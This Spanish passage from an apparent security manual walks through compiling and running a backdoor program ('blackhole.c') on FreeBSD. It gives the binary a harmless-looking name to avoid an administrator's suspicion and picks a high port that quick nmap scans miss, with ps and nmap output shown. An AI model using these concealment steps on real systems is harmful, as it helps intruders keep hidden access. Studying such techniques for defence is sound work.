6LxWgb1Wq

Esta línea define el puerto de funcionamiento, para compilar este programa se
realiza por medio del gcc, es aquí donde se coloca en duda si realmente un
usuario normal necesita alguna vez ejecutar el gcc para compilar algo. El comando
para compilar se mostrará a continuación
freebsd45# gcc blackhole.c -o send
freebsd45#
Como se puede apreciar la opción –o indica el nombre del archivo ejecutable, este
nombre en la mayoría de ocasiones es un nombre común, el cual cuando se vea
en los procesos en ejecución, el administrador sospeche lo menos posible de este
proceso.
Ahora se cambia los permisos del archivo a ejecución y se ejecuta como se ve a
continuación
freebsd45# chmod 700 send
freebsd45# ./send &
[2] 33395
freebsd45#
El programa se ejecuta con un “&” para que corra en segundo plano. Si hacemos
un ps para vigilar los procesos lo podemos ver:
freebsd45# ps -ax
33346 p0 S 0:00.24 -su (csh)
33395 p0 I 0:00.01 ./send
33396 p0 R+ 0:00.00 ps -ax
Ahora tenemos un puerto abierto en un puerto específico (para el ejemplo 30464,
se escoge un numero mas de 1024 ya que una revisión rápida con el nmap no
llega hasta estos puertos tan altos) y explotable desde cualquier máquina en la
subred.
Para ver si el puerto esta abierto utilizamos el nmap, si realizamos un nmap
sencillo:
linux:~ # nmap 10.10.10.82
Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on (10.10.10.82):
(The 1597 ports scanned but not shown below are in state: closed)
Port State Service
22/tcp open ssh
25/tcp open smtp
80/tcp open http
587/tcp open submission
Nmap run completed -- 1 IP address (1 host up) scanned in 19 seconds
linux:~ #
98